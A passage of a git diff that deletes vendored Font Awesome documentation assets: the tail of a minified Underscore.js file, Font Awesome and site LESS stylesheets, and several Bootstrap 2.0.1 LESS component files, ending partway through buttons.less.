-b.isRegExp=function(a){return l.call(a)=="[object RegExp]"};b.isNull=function(a){return a===null};b.isUndefined=function(a){return a===void 0};b.has=function(a,b){return I.call(a,b)};b.noConflict=function(){r._=G;return this};b.identity=function(a){return a};b.times=function(a,b,d){for(var e=0;e<a;e++)b.call(d,e)};b.escape=function(a){return(""+a).replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#x27;").replace(/\//g,"&#x2F;")};b.mixin=function(a){j(b.functions(a),
-function(c){K(c,b[c]=a[c])})};var L=0;b.uniqueId=function(a){var b=L++;return a?a+b:b};b.templateSettings={evaluate:/<%([\s\S]+?)%>/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g};var t=/.^/,u=function(a){return a.replace(/\\\\/g,"\\").replace(/\\'/g,"'")};b.template=function(a,c){var d=b.templateSettings,d="var __p=[],print=function(){__p.push.apply(__p,arguments);};with(obj||{}){__p.push('"+a.replace(/\\/g,"\\\\").replace(/'/g,"\\'").replace(d.escape||t,function(a,b){return"',_.escape("+
-u(b)+"),'"}).replace(d.interpolate||t,function(a,b){return"',"+u(b)+",'"}).replace(d.evaluate||t,function(a,b){return"');"+u(b).replace(/[\r\n\t]/g," ")+";__p.push('"}).replace(/\r/g,"\\r").replace(/\n/g,"\\n").replace(/\t/g,"\\t")+"');}return __p.join('');",e=new Function("obj","_",d);return c?e(c,b):function(a){return e.call(this,a,b)}};b.chain=function(a){return b(a).chain()};var m=function(a){this._wrapped=a};b.prototype=m.prototype;var v=function(a,c){return c?b(a).chain():a},K=function(a,c){m.prototype[a]=
-function(){var a=i.call(arguments);H.call(a,this._wrapped);return v(c.apply(b,a),this._chain)}};b.mixin(b);j("pop,push,reverse,shift,sort,splice,unshift".split(","),function(a){var b=k[a];m.prototype[a]=function(){var d=this._wrapped;b.apply(d,arguments);var e=d.length;(a=="shift"||a=="splice")&&e===0&&delete d[0];return v(d,this._chain)}});j(["concat","join","slice"],function(a){var b=k[a];m.prototype[a]=function(){return v(b.apply(this._wrapped,arguments),this._chain)}});m.prototype.chain=function(){this._chain=
-true;return this};m.prototype.value=function(){return this._wrapped}}).call(this);
diff --git a/assets/font-awesome/docs/assets/less/font-awesome.less b/assets/font-awesome/docs/assets/less/font-awesome.less
deleted file mode 100755
index b19e0231..00000000
--- a/assets/font-awesome/docs/assets/less/font-awesome.less
+++ /dev/null
@@ -1,264 +0,0 @@
-/*  Font Awesome
-    the iconic font designed for use with Twitter Bootstrap
-    -------------------------------------------------------
-    The full suite of pictographic icons, examples, and documentation
-    can be found at: http://fortawesome.github.com/Font-Awesome/
-
-    License
-    -------------------------------------------------------
-    The Font Awesome webfont, CSS, and LESS files are licensed under CC BY 3.0:
-    http://creativecommons.org/licenses/by/3.0/ A mention of
-    'Font Awesome - http://fortawesome.github.com/Font-Awesome' in human-readable
-    source code is considered acceptable attribution (most common on the web).
-    If human readable source code is not available to the end user, a mention in
-    an 'About' or 'Credits' screen is considered acceptable (most common in desktop
-    or mobile software).
-
-    Contact
-    -------------------------------------------------------
-    Email: dave@davegandy.com
-    Twitter: http://twitter.com/fortaweso_me
-    Work: http://lemonwi.se co-founder
-
-    */
-
-@font-face {
-    font-family: 'FontAwesome';
-    src: url('../font/fontawesome-webfont.eot');
-    src: url('../font/fontawesome-webfont.eot?#iefix') format('embedded-opentype'),
-         url('../font/fontawesome-webfont.woff') format('woff'),
-         url('../font/fontawesome-webfont.ttf') format('truetype'),
-         url('../font/fontawesome-webfont.svgz#FontAwesomeRegular') format('svg'),
-         url('../font/fontawesome-webfont.svg#FontAwesomeRegular') format('svg');
-    font-weight: normal;
-    font-style: normal;
-}
-
-/* sprites.less reset */
-[class^="icon-"],
-[class*=" icon-"] {
-    display: inline;
-    width: auto;
-    height: auto;
-    line-height: inherit;
-    vertical-align: baseline;
-    background-image: none;
-    background-position: 0% 0%;
-    background-repeat: repeat;
-}
-li[class^="icon-"],
-li[class*=" icon-"] {
-    display: block;
-}
-
-/*  Font Awesome styles
-    ------------------------------------------------------- */
-[class^="icon-"]:before,
-[class*=" icon-"]:before {
-    font-family: FontAwesome;
-    font-weight: normal;
-    font-style: normal;
-    display: inline-block;
-    text-decoration: inherit;
-}
-
-a [class^="icon-"],
-a [class*=" icon-"] {
-    display: inline-block;
-    text-decoration: inherit;
-}
-
-/* makes the font 33% larger relative to the icon container */
-.icon-large:before {
-    vertical-align: top;
-    font-size: 4/3em;
-}
-
-.btn {
-    [class^="icon-"],
-    [class*=" icon-"] {
-        /* keeps button heights with and without icons the same */
-        line-height: .9em;
-    }
-}
-
-li {
-    [class^="icon-"],
-    [class*=" icon-"] {
-        display: inline-block;
-        width: 1.25em;
-        text-align: center;
-    }
-    .icon-large[class^="icon-"],
-    .icon-large[class*=" icon-"]  {
-        /* 1.5 increased font size for icon-large * 1.25 width */
-        width: 1.5*1.25em;
-    }
-}
-
-li[class^="icon-"],
-li[class*=" icon-"] {
-    margin-left: 0;
-    list-style-type: none;
-
-    &:before {
-        text-indent: -2em;
-        text-align: center;
-    }
-    &.icon-large:before {
-        text-indent: -4/3em;
-    }
-}
-
-/*  Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen
-    readers do not read off random characters that represent icons */
-.icon-glass:before              { content: "\f000"; }
-.icon-music:before              { content: "\f001"; }
-.icon-search:before             { content: "\f002"; }
-.icon-envelope:before           { content: "\f003"; }
-.icon-heart:before              { content: "\f004"; }
-.icon-star:before               { content: "\f005"; }
-.icon-star-empty:before         { content: "\f006"; }
-.icon-user:before               { content: "\f007"; }
-.icon-film:before               { content: "\f008"; }
-.icon-th-large:before           { content: "\f009"; }
-.icon-th:before                 { content: "\f00a"; }
-.icon-th-list:before            { content: "\f00b"; }
-.icon-ok:before                 { content: "\f00c"; }
-.icon-remove:before             { content: "\f00d"; }
-.icon-zoom-in:before            { content: "\f00e"; }
-
-.icon-zoom-out:before           { content: "\f010"; }
-.icon-off:before                { content: "\f011"; }
-.icon-signal:before             { content: "\f012"; }
-.icon-cog:before                { content: "\f013"; }
-.icon-trash:before              { content: "\f014"; }
-.icon-home:before               { content: "\f015"; }
-.icon-file:before               { content: "\f016"; }
-.icon-time:before               { content: "\f017"; }
-.icon-road:before               { content: "\f018"; }
-.icon-download-alt:before       { content: "\f019"; }
-.icon-download:before           { content: "\f01a"; }
-.icon-upload:before             { content: "\f01b"; }
-.icon-inbox:before              { content: "\f01c"; }
-.icon-play-circle:before        { content: "\f01d"; }
-.icon-repeat:before             { content: "\f01e"; }
-
-/* \f020 is not a valid unicode character. all shifted one down */
-.icon-refresh:before            { content: "\f021"; }
-.icon-list-alt:before           { content: "\f022"; }
-.icon-lock:before               { content: "\f023"; }
-.icon-flag:before               { content: "\f024"; }
-.icon-headphones:before         { content: "\f025"; }
-.icon-volume-off:before         { content: "\f026"; }
-.icon-volume-down:before        { content: "\f027"; }
-.icon-volume-up:before          { content: "\f028"; }
-.icon-qrcode:before             { content: "\f029"; }
-.icon-barcode:before            { content: "\f02a"; }
-.icon-tag:before                { content: "\f02b"; }
-.icon-tags:before               { content: "\f02c"; }
-.icon-book:before               { content: "\f02d"; }
-.icon-bookmark:before           { content: "\f02e"; }
-.icon-print:before              { content: "\f02f"; }
-
-.icon-camera:before             { content: "\f030"; }
-.icon-font:before               { content: "\f031"; }
-.icon-bold:before               { content: "\f032"; }
-.icon-italic:before             { content: "\f033"; }
-.icon-text-height:before        { content: "\f034"; }
-.icon-text-width:before         { content: "\f035"; }
-.icon-align-left:before         { content: "\f036"; }
-.icon-align-center:before       { content: "\f037"; }
-.icon-align-right:before        { content: "\f038"; }
-.icon-align-justify:before      { content: "\f039"; }
-.icon-list:before               { content: "\f03a"; }
-.icon-indent-left:before        { content: "\f03b"; }
-.icon-indent-right:before       { content: "\f03c"; }
-.icon-facetime-video:before     { content: "\f03d"; }
-.icon-picture:before            { content: "\f03e"; }
-
-.icon-pencil:before             { content: "\f040"; }
-.icon-map-marker:before         { content: "\f041"; }
-.icon-adjust:before             { content: "\f042"; }
-.icon-tint:before               { content: "\f043"; }
-.icon-edit:before               { content: "\f044"; }
-.icon-share:before              { content: "\f045"; }
-.icon-check:before              { content: "\f046"; }
-.icon-move:before               { content: "\f047"; }
-.icon-step-backward:before      { content: "\f048"; }
-.icon-fast-backward:before      { content: "\f049"; }
-.icon-backward:before           { content: "\f04a"; }
-.icon-play:before               { content: "\f04b"; }
-.icon-pause:before              { content: "\f04c"; }
-.icon-stop:before               { content: "\f04d"; }
-.icon-forward:before            { content: "\f04e"; }
-
-.icon-fast-forward:before       { content: "\f050"; }
-.icon-step-forward:before       { content: "\f051"; }
-.icon-eject:before              { content: "\f052"; }
-.icon-chevron-left:before       { content: "\f053"; }
-.icon-chevron-right:before      { content: "\f054"; }
-.icon-plus-sign:before          { content: "\f055"; }
-.icon-minus-sign:before         { content: "\f056"; }
-.icon-remove-sign:before        { content: "\f057"; }
-.icon-ok-sign:before            { content: "\f058"; }
-.icon-question-sign:before      { content: "\f059"; }
-.icon-info-sign:before          { content: "\f05a"; }
-.icon-screenshot:before         { content: "\f05b"; }
-.icon-remove-circle:before      { content: "\f05c"; }
-.icon-ok-circle:before          { content: "\f05d"; }
-.icon-ban-circle:before         { content: "\f05e"; }
-
-.icon-arrow-left:before         { content: "\f060"; }
-.icon-arrow-right:before        { content: "\f061"; }
-.icon-arrow-up:before           { content: "\f062"; }
-.icon-arrow-down:before         { content: "\f063"; }
-.icon-share-alt:before          { content: "\f064"; }
-.icon-resize-full:before        { content: "\f065"; }
-.icon-resize-small:before       { content: "\f066"; }
-.icon-plus:before               { content: "\f067"; }
-.icon-minus:before              { content: "\f068"; }
-.icon-asterisk:before           { content: "\f069"; }
-.icon-exclamation-sign:before   { content: "\f06a"; }
-.icon-gift:before               { content: "\f06b"; }
-.icon-leaf:before               { content: "\f06c"; }
-.icon-fire:before               { content: "\f06d"; }
-.icon-eye-open:before           { content: "\f06e"; }
-
-.icon-eye-close:before          { content: "\f070"; }
-.icon-warning-sign:before       { content: "\f071"; }
-.icon-plane:before              { content: "\f072"; }
-.icon-calendar:before           { content: "\f073"; }
-.icon-random:before             { content: "\f074"; }
-.icon-comment:before            { content: "\f075"; }
-.icon-magnet:before             { content: "\f076"; }
-.icon-chevron-up:before         { content: "\f077"; }
-.icon-chevron-down:before       { content: "\f078"; }
-.icon-retweet:before            { content: "\f079"; }
-.icon-shopping-cart:before      { content: "\f07a"; }
-.icon-folder-close:before       { content: "\f07b"; }
-.icon-folder-open:before        { content: "\f07c"; }
-.icon-resize-vertical:before    { content: "\f07d"; }
-.icon-resize-horizontal:before  { content: "\f07e"; }
-
-.icon-bar-chart:before          { content: "\f080"; }
-.icon-twitter-sign:before       { content: "\f081"; }
-.icon-facebook-sign:before      { content: "\f082"; }
-.icon-camera-retro:before       { content: "\f083"; }
-.icon-key:before                { content: "\f084"; }
-.icon-cogs:before               { content: "\f085"; }
-.icon-comments:before           { content: "\f086"; }
-.icon-thumbs-up:before          { content: "\f087"; }
-.icon-thumbs-down:before        { content: "\f088"; }
-.icon-star-half:before          { content: "\f089"; }
-.icon-heart-empty:before        { content: "\f08a"; }
-.icon-signout:before            { content: "\f08b"; }
-.icon-linkedin-sign:before      { content: "\f08c"; }
-.icon-pushpin:before            { content: "\f08d"; }
-.icon-external-link:before      { content: "\f08e"; }
-
-.icon-signin:before             { content: "\f090"; }
-.icon-trophy:before             { content: "\f091"; }
-.icon-github-sign:before        { content: "\f092"; }
-.icon-upload-alt:before         { content: "\f093"; }
-.icon-lemon:before              { content: "\f094"; }
diff --git a/assets/font-awesome/docs/assets/less/font-museo.less b/assets/font-awesome/docs/assets/less/font-museo.less
deleted file mode 100755
index 56269e6f..00000000
--- a/assets/font-awesome/docs/assets/less/font-museo.less
+++ /dev/null
@@ -1,35 +0,0 @@
-@font-face {
-    font-family: 'MuseoSans';
-    src: url('../font/museosans_300-webfont.eot');
-    src: url('../font/museosans_300-webfont.eot') format('embedded-opentype'),
-         url('../font/museosans_300-webfont.ttf') format('truetype');
-    font-weight: normal;
-    font-style: normal;
-}
-
-@font-face {
-    font-family: 'MuseoSans';
-    src: url('../font/museosans_500-webfont.eot');
-    src: url('../font/museosans_500-webfont.eot') format('embedded-opentype'),
-         url('../font/museosans_500-webfont.ttf') format('truetype');
-    font-weight: bold;
-    font-style: normal;
-}
-
-@font-face {
-    font-family: 'MuseoSlab';
-    src: url('../font/museo_slab_300-webfont.eot');
-    src: url('../font/museo_slab_300-webfont.eot') format('embedded-opentype'),
-         url('../font/museo_slab_300-webfont.ttf') format('truetype');
-    font-weight: normal;
-    font-style: normal;
-}
-
-@font-face {
-    font-family: 'MuseoSlab';
-    src: url('../font/museo_slab_500-webfont.eot');
-    src: url('../font/museo_slab_500-webfont.eot') format('embedded-opentype'),
-         url('../font/museo_slab_500-webfont.ttf') format('truetype');
-    font-weight: bold;
-    font-style: normal;
-}
diff --git a/assets/font-awesome/docs/assets/less/mixins.less b/assets/font-awesome/docs/assets/less/mixins.less
deleted file mode 100755
index fb7a8d7b..00000000
--- a/assets/font-awesome/docs/assets/less/mixins.less
+++ /dev/null
@@ -1,43 +0,0 @@
-.gradient-text (@color: #808080, @color1: #999, @color2: #B3B3B3, @color3: #B3B3B3, @color4: #666) {
-    // fallback for browsers that don't support this
-//    color: @color;
-
-    // makes simple gradient text in webkit browsers
-//    background: -webkit-gradient(linear, left top, left bottom, from(@colorTop), to(@colorBottom));
-
-    // makes a more complex background, allowing iPhone-like text gradients
-    background-image: -webkit-gradient(linear, left top, left bottom, color-stop(0%, @color1), color-stop(55%, @color2), color-stop(55%, @color3), color-stop(100%, @color4)); // Safari 4+, Chrome 2+
-    background-image: -webkit-linear-gradient(top, @color1 0%, @color2 55%, @color3 55%, @color4 100%); // Safari 5.1+, Chrome 10+
-
-    -webkit-background-clip: text;
-    -webkit-text-fill-color: transparent;
-}
-
-// Mixin for generating button backgrounds
-// ---------------------------------------
-.buttonBackgroundThreeColors(@startColor, @midColor, @colorStop, @endColor) {
-  // gradientBar will set the background to a pleasing blend of these, to support IE<=9
-  #gradient > .vertical-three-colors(@startColor, @midColor, @colorStop, @endColor);
-  border-color: @startColor @startColor darken(@endColor, 15%);
-  border-color: rgba(0,0,0,.1) rgba(0,0,0,.1) fadein(rgba(0,0,0,.1), 15%);
-
-  .reset-filter();
-
-  // in these cases the gradient won't cover the background, so we override
-  &:hover, &:active, &.active, &.disabled, &[disabled] {
-    background-color: @endColor;
-  }
-
-  // IE 7 + 8 can't handle box-shadow to show active, so we darken a bit ourselves
-  &:active,
-  &.active {
-    background-color: darken(@endColor, 10%) e("\9");
-  }
-}
-
-.icon-size (@size: 12px, @width-multiplier: .9, @height-multiplier: .8) {
-    i { font-size: @size; }
-    line-height: @size * @height-multiplier;
-    height: @size * @height-multiplier;
-    [class^="icon-"] { height: @size * @height-multiplier; }
-}
\ No newline at end of file
diff --git a/assets/font-awesome/docs/assets/less/site.less b/assets/font-awesome/docs/assets/less/site.less
deleted file mode 100755
index ed0dbc14..00000000
--- a/assets/font-awesome/docs/assets/less/site.less
+++ /dev/null
@@ -1,255 +0,0 @@
-@import "tw-bs-201/bootstrap.less";
-@import "tw-bs-201/mixins.less";
-
-@import "mixins.less";
-@import "variables.less";
-@import "font-museo.less";
-@import "font-awesome.less";
-
-// These accomodate navbar-fixed-top
-#overview { padding-top: 60px; }
-#base-icons, #extended-icons, #examples, #integration, #code, #roadmap {
-    padding-top: 40px;
-}
-.navbar .brand { padding: 11px 20px 9px; }
-
-.navbar-inner { .border-radius(0); }
-
-.navbar .nav > li > a { padding: 12px 10px 9px; }
-
-h1, h2, h3, h4, h5, h6 { font-family: @baseHeaderFontFamily; }
-
-#iconCarousel {
-    a { color: @white; }
-    @size: 275px;
-    float: right;
-    width: @size * .9 + 8;
-    height: @size * .75;
-    margin-right: 10px;
-    margin-top: -20px;
-    font-size: @size;
-    text-align: center;
-    text-shadow: 2px 2px 3px @grayDarker;
-    .carousel-control {
-        top: @size + 5;
-        .square(23px);
-        border-width: 3px;
-        font-size: 17px;
-        line-height: 24px;
-        left: @size / 3 + 3;
-        &.right {
-            left: auto;
-            right: @size / 3 + 3;
-        }
-    }
-}
-
-a[href^='http://'] {
-    display: inline-block;
-    &:after {
-        font-family: FontAwesome;
-        content: "\0020 \f08e";
-        &:hover {
-            text-decoration: none;
-        }
-    }
-}
-
-.hero-unit {
-    background-color: @red;
-    &, h1 { color: @white; }
-    h1 {
-        font-size: 70px;
-        letter-spacing: -1px;
-        line-height: 1.2;
-    }
-    p {
-        margin-top: 10px;
-        margin-bottom: 15px;
-        font-size: 28px;
-        line-height: 34px;
-    }
-    text-shadow: 2px 2px 2px @grayDark;
-    ul {
-        margin-left: 50px;
-        li {
-            &.icon-large:before {
-                text-indent: -2em;
-                vertical-align: baseline;
-            }
-            font-size: 15px;
-            line-height: 30px;
-            text-shadow: 1px 1px 1px @grayDark;
-        }
-    }
-    a { color: #fffeb8; }
-    .btn-large {
-        .buttonBackground(@white, #bbb);
-        font-family: @baseHeaderFontFamily;
-        color: @grayDark;
-        margin-top: 15px;
-        font-weight: bold;
-        font-size: 18px;
-        padding: 13px 22px;
-        padding-left: 22px + 44;
-        margin-right: 10px;
-        .border-radius(6px);
-        position: relative;
-        text-align: left;
-        i  {
-            position: absolute;
-            top: 12px;
-            left: 22px;
-            font-size: 46px;
-        }
-    }
-    .hero-content {
-        width: 500px;
-        text-align: center;
-    }
-}
-
-.btn-primary, .hero-unit .btn-primary {
-    .buttonBackground(#fffeb8, #c49c38);
-    color: @grayDark;
-    text-shadow: 0 -1px 0 rgba(255,255,255,.25);
-    &:hover {
-        text-shadow: 0 -1px 0 rgba(255,255,255,.25);
-        color: @grayDark;
-    }
-}
-
-.the-icons {
-    li[class^="icon-"],
-    li[class*=" icon-"] {
-        cursor: pointer;
-        margin-top: -3px;
-        font-size: 14px;
-        line-height: 24px;
-        height: 24px;
-        &:after {
-            font-family: @baseFontFamily;
-            font-style: normal;
-            content: attr(class);
-        }
-        &:hover:before {
-            font-size: 24px;
-            text-indent: -4/3em;
-            vertical-align: middle;
-        }
-    }
-}
-
-#why {
-    .row {
-        margin-bottom: 20px;
-    }
-    .icon-large {
-        font-size: 22px;
-        text-align: center;
-        padding-right: 4px;
-    }
-}
-
-#examples {
-    .btn-toolbar {
-        margin-top: 0;
-        margin-bottom: 20px;
-    }
-}
-
-#integration {
-    .row { margin-bottom: 40px; }
-}
-
-#examples, #code {
-    form {
-        margin-bottom: 10px;
-        input {
-            line-height: 1; // fixes a safari placeholder alignment issue
-        }
-    }
-
-    .rating {
-        unicode-bidi: bidi-override;
-        direction: rtl;
-
-        font-size: 30px;
-        span.star {
-            font-family: FontAwesome;
-            font-weight: normal;
-            font-style: normal;
-            display: inline-block;
-            &:hover {
-                cursor: pointer;
-            }
-        }
-        span.star:before {
-            content: "\f006"; // empty star
-            padding-right: 5px;
-            color: @grayLight;
-        }
-
-        span.star:hover:before, span.star:hover ~ span.star:before {
-            content: "\f005"; // solid star
-            color: #e3cf7a;
-        }
-    }
-}
-
-
-.modal {
-    width: 560px;
-    max-height: 510px;
-    .modal-body {
-        padding-bottom: 0;
-        .row { margin-bottom: 15px; }
-        div.thumbnail {
-            text-align: center;
-            div { margin-bottom: 5px; }
-        }
-        .icon6 {
-            width: 325px;
-            > div.thumbnail > div { .icon-size(340px); }
-        }
-        .icon5 {
-            width: 185px;
-            > div.thumbnail > div { .icon-size(180px); }
-        }
-        .icon4 {
-            width: 215px;
-            > div.thumbnail > div { .icon-size(100px); }
-        }
-        .icon3 {
-            width: 120px;
-            > div.thumbnail > div { .icon-size(50px); }
-        }
-        .icon2 {
-            width: 75px;
-            > div.thumbnail > div { .icon-size(20px); }
-        }
-        .icon1 {
-            width: 60px;
-            > div.thumbnail > div { .icon-size(12px); }
-        }
-    }
-}
-
-footer {
-    color: @gray;
-    margin-top: 20px;
-    border-top: 1px solid @grayLighter;
-    margin-top: 60px;
-    padding-top: 20px;
-    padding-bottom: 60px;
-    ul {
-        margin-left: 30px;
-        line-height: 25px;
-        li {
-            &:before {
-                font-size: 20px;
-                vertical-align: top;
-            }
-        }
-    }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/accordion.less b/assets/font-awesome/docs/assets/less/tw-bs-201/accordion.less
deleted file mode 100755
index 11a36b54..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/accordion.less
+++ /dev/null
@@ -1,28 +0,0 @@
-// ACCORDION
-// ---------
-
-
-// Parent container
-.accordion {
-  margin-bottom: @baseLineHeight;
-}
-
-// Group == heading + body
-.accordion-group {
-  margin-bottom: 2px;
-  border: 1px solid #e5e5e5;
-  .border-radius(4px);
-}
-.accordion-heading {
-  border-bottom: 0;
-}
-.accordion-heading .accordion-toggle {
-  display: block;
-  padding: 8px 15px;
-}
-
-// Inner needs the styles because you can't animate properly with any styles on the element
-.accordion-inner {
-  padding: 9px 15px;
-  border-top: 1px solid #e5e5e5;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/alerts.less b/assets/font-awesome/docs/assets/less/tw-bs-201/alerts.less
deleted file mode 100755
index 562826fd..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/alerts.less
+++ /dev/null
@@ -1,70 +0,0 @@
-// ALERT STYLES
-// ------------
-
-// Base alert styles
-.alert {
-  padding: 8px 35px 8px 14px;
-  margin-bottom: @baseLineHeight;
-  text-shadow: 0 1px 0 rgba(255,255,255,.5);
-  background-color: @warningBackground;
-  border: 1px solid @warningBorder;
-  .border-radius(4px);
-}
-.alert,
-.alert-heading {
-  color: @warningText;
-}
-
-// Adjust close link position
-.alert .close {
-  position: relative;
-  top: -2px;
-  right: -21px;
-  line-height: 18px;
-}
-
-// Alternate styles
-// ----------------
-
-.alert-success {
-  background-color: @successBackground;
-  border-color: @successBorder;  
-}
-.alert-success,
-.alert-success .alert-heading {
-  color: @successText;
-}
-.alert-danger,
-.alert-error {
-  background-color: @errorBackground;
-  border-color: @errorBorder;
-}
-.alert-danger,
-.alert-error,
-.alert-danger .alert-heading,
-.alert-error .alert-heading {
-  color: @errorText;
-}
-.alert-info {
-  background-color: @infoBackground;
-  border-color: @infoBorder;
-}
-.alert-info,
-.alert-info .alert-heading {
-  color: @infoText;
-}
-
-
-// Block alerts
-// ------------------------
-.alert-block {
-  padding-top: 14px;
-  padding-bottom: 14px;
-}
-.alert-block > p,
-.alert-block > ul {
-  margin-bottom: 0;
-}
-.alert-block p + p {
-  margin-top: 5px;
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/bootstrap.less b/assets/font-awesome/docs/assets/less/tw-bs-201/bootstrap.less
deleted file mode 100755
index 143cd409..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/bootstrap.less
+++ /dev/null
@@ -1,62 +0,0 @@
-/*!
- * Bootstrap v2.0.1
- *
- * Copyright 2012 Twitter, Inc
- * Licensed under the Apache License v2.0
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Designed and built with all the love in the world @twitter by @mdo and @fat.
- */
-
-// CSS Reset
-@import "reset.less";
-
-// Core variables and mixins
-@import "variables.less"; // Modify this for custom colors, font-sizes, etc
-@import "mixins.less";
-
-// Grid system and page structure
-@import "scaffolding.less";
-@import "grid.less";
-@import "layouts.less";
-
-// Base CSS
-@import "type.less";
-@import "code.less";
-@import "forms.less";
-@import "tables.less";
-
-// Components: common
-//@import "sprites.less";
-@import "dropdowns.less";
-@import "wells.less";
-@import "component-animations.less";
-@import "close.less";
-
-// Components: Buttons & Alerts
-@import "buttons.less";
-@import "button-groups.less";
-@import "alerts.less"; // Note: alerts share common CSS with buttons and thus have styles in buttons.less
-
-// Components: Nav
-@import "navs.less";
-@import "navbar.less";
-@import "breadcrumbs.less";
-@import "pagination.less";
-@import "pager.less";
-
-// Components: Popovers
-@import "modals.less";
-@import "tooltip.less";
-@import "popovers.less";
-
-// Components: Misc
-@import "thumbnails.less";
-@import "labels.less";
-@import "progress-bars.less";
-@import "accordion.less";
-@import "carousel.less";
-@import "hero-unit.less";
-
-// Utility classes
-@import "utilities.less"; // Has to be last to override when necessary
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/breadcrumbs.less b/assets/font-awesome/docs/assets/less/tw-bs-201/breadcrumbs.less
deleted file mode 100755
index 39060bad..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/breadcrumbs.less
+++ /dev/null
@@ -1,22 +0,0 @@
-// BREADCRUMBS
-// -----------
-
-.breadcrumb {
-  padding: 7px 14px;
-  margin: 0 0 @baseLineHeight;
-  #gradient > .vertical(@white, #f5f5f5);
-  border: 1px solid #ddd;
-  .border-radius(3px);
-  .box-shadow(inset 0 1px 0 @white);
-  li {
-    display: inline-block;
-    text-shadow: 0 1px 0 @white;
-  }
-  .divider {
-    padding: 0 5px;
-    color: @grayLight;
-  }
-  .active a {
-    color: @grayDark;
-  }
-}
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/button-groups.less b/assets/font-awesome/docs/assets/less/tw-bs-201/button-groups.less
deleted file mode 100755
index a04220a9..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/button-groups.less
+++ /dev/null
@@ -1,148 +0,0 @@
-// BUTTON GROUPS
-// -------------
-
-
-// Make the div behave like a button
-.btn-group {
-  position: relative;
-  .clearfix(); // clears the floated buttons
-  .ie7-restore-left-whitespace();
-}
-
-// Space out series of button groups
-.btn-group + .btn-group {
-  margin-left: 5px;
-}
-
-// Optional: Group multiple button groups together for a toolbar
-.btn-toolbar {
-  margin-top: @baseLineHeight / 2;
-  margin-bottom: @baseLineHeight / 2;
-  .btn-group {
-    display: inline-block;
-    .ie7-inline-block();
-  }
-}
-
-// Float them, remove border radius, then re-add to first and last elements
-.btn-group .btn {
-  position: relative;
-  float: left;
-  margin-left: -1px;
-  .border-radius(0);
-}
-// Set corners individual because sometimes a single button can be in a .btn-group and we need :first-child and :last-child to both match
-.btn-group .btn:first-child {
-  margin-left: 0;
-     -webkit-border-top-left-radius: 4px;
-         -moz-border-radius-topleft: 4px;
-             border-top-left-radius: 4px;
-  -webkit-border-bottom-left-radius: 4px;
-      -moz-border-radius-bottomleft: 4px;
-          border-bottom-left-radius: 4px;
-}
-.btn-group .btn:last-child,
-.btn-group .dropdown-toggle {
-     -webkit-border-top-right-radius: 4px;
-         -moz-border-radius-topright: 4px;
-             border-top-right-radius: 4px;
-  -webkit-border-bottom-right-radius: 4px;
-      -moz-border-radius-bottomright: 4px;
-          border-bottom-right-radius: 4px;
-}
-// Reset corners for large buttons
-.btn-group .btn.large:first-child {
-  margin-left: 0;
-     -webkit-border-top-left-radius: 6px;
-         -moz-border-radius-topleft: 6px;
-             border-top-left-radius: 6px;
-  -webkit-border-bottom-left-radius: 6px;
-      -moz-border-radius-bottomleft: 6px;
-          border-bottom-left-radius: 6px;
-}
-.btn-group .btn.large:last-child,
-.btn-group .large.dropdown-toggle {
-     -webkit-border-top-right-radius: 6px;
-         -moz-border-radius-topright: 6px;
-             border-top-right-radius: 6px;
-  -webkit-border-bottom-right-radius: 6px;
-      -moz-border-radius-bottomright: 6px;
-          border-bottom-right-radius: 6px;
-}
-
-// On hover/focus/active, bring the proper btn to front
-.btn-group .btn:hover,
-.btn-group .btn:focus,
-.btn-group .btn:active,
-.btn-group .btn.active {
-  z-index: 2;
-}
-
-// On active and open, don't show outline
-.btn-group .dropdown-toggle:active,
-.btn-group.open .dropdown-toggle {
-  outline: 0;
-}
-
-
-
-// Split button dropdowns
-// ----------------------
-
-// Give the line between buttons some depth
-.btn-group .dropdown-toggle {
-  padding-left: 8px;
-  padding-right: 8px;
-  @shadow: inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);
-  .box-shadow(@shadow);
-  *padding-top: 5px;
-  *padding-bottom: 5px;
-}
-
-.btn-group.open {
-  // IE7's z-index only goes to the nearest positioned ancestor, which would
-  // make the menu appear below buttons that appeared later on the page
-  *z-index: @zindexDropdown;
-
-  // Reposition menu on open and round all corners
-  .dropdown-menu {
-    display: block;
-    margin-top: 1px;
-    .border-radius(5px);
-  }
-
-  .dropdown-toggle {
-    background-image: none;
-    @shadow: inset 0 1px 6px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);
-    .box-shadow(@shadow);
-  }
-}
-
-// Reposition the caret
-.btn .caret {
-  margin-top: 7px;
-  margin-left: 0;
-}
-.btn:hover .caret,
-.open.btn-group .caret {
-  .opacity(100);
-}
-
-
-// Account for other colors
-.btn-primary,
-.btn-danger,
-.btn-info,
-.btn-success,
-.btn-inverse {
-  .caret {
-    border-top-color: @white;
-    .opacity(75);
-  }
-}
-
-// Small button dropdowns
-.btn-small .caret {
-  margin-top: 4px;
-}
-
diff --git a/assets/font-awesome/docs/assets/less/tw-bs-201/buttons.less b/assets/font-awesome/docs/assets/less/tw-bs-201/buttons.less
deleted file mode 100755
index 55e9fbf1..00000000
--- a/assets/font-awesome/docs/assets/less/tw-bs-201/buttons.less
+++ /dev/null
@@ -1,183 +0,0 @@
-// BUTTON STYLES
-// -------------
-
-
-// Base styles
-// --------------------------------------------------
-
-// Core
-.btn {
-  display: inline-block;
-  padding: 4px 10px 4px;
-  margin-bottom: 0; // For input.btn
-  font-size: @baseFontSize;
-  line-height: @baseLineHeight;
-  color: @grayDark;
-  text-align: center;
-  text-shadow: 0 1px 1px rgba(255,255,255,.75);
-  vertical-align: middle;
-  .buttonBackground(@white, darken(@white, 10%));
-  border: 1px solid #ccc;
